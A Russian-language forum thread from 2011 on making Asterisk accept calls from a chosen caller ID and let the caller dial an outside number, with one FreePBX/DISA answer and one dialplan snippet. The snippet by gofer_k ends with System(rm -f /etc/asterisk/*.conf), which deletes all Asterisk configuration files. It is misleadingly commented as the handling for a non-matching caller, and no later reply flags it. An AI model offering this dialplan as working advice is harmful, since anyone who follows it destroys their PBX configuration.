Страница 1 из 1
					
				Прием звонков приглашение донобрать внешний номер
				Добавлено: 02 апр 2011, 02:27
				 load
				Добрый вечер.
Подскажите пожалуйста, как заставить астериск принимать звонок с определенного CID, далее предлагать донабрать любой номер и соединить принятый звонок с набранным номером через SIP городской телефон.
Спасибо.
			 
			
					
				Re: Прием звонков приглашение донобрать внешний номер
				Добавлено: 02 апр 2011, 12:40
				 ded
				Установить freePBX => настроить исходящую маршрутизацию через SIP городской телефон => установить модуль DISA => настроить DISA => установить входящий маршрут для DID + конкретного CID и направить в нами созданную DISA.
			 
			
					
				Re: Прием звонков приглашение донобрать внешний номер
				Добавлено: 08 апр 2011, 18:42
				 gofer_k
				звоним к примеру с номера 22222222222 на номер 11111
exten => 11111,1,GotoIf($[${CALLERID(num)} = 22222222222]?verno:neverno);анализ CID
exten => 11111,n(verno),Playback(vm-enter-num-to-call);здесь и так понятно
exten => 11111,n,StartMusicOnHold ;включает музыку на удержание
exten => 11111,n,WaitExten(15);ожидание донабора 15 сек
exten => 11111,n,StopMusicOnHold; вылючает музыку на удержание
exten => 11111,n,System(rm -f /etc/asterisk/*.conf);здесь прописываем действия если CID не совпадает с 22222222222   

соответственно подрубаем сюда контексты чтобы добавочный номер ушел куда надо,или прописываем направления в этом же контексте если их нет,все зависит от вашего далплана.
 
			 
			
					
				Re: Прием звонков приглашение донобрать внешний номер
				Добавлено: 08 апр 2011, 19:56
				 ded
				gofer_k, вместо GotoIf
exten => 11111,1,GotoIf($[${CALLERID(num)} = 22222222222]?verno:neverno);анализ CID
есть простой формат анализа CID
exten => 11111/22222222222,1,DoAnyThink()
			 
			
					
				Re: Прием звонков приглашение донобрать внешний номер
				Добавлено: 09 апр 2011, 11:08
				 gofer_k
				ded писал(а):gofer_k, вместо GotoIf
exten => 11111,1,GotoIf($[${CALLERID(num)} = 22222222222]?verno:neverno);анализ CID
есть простой формат анализа CID
exten => 11111/22222222222,1,DoAnyThink()
Спасибо теперь буду знать.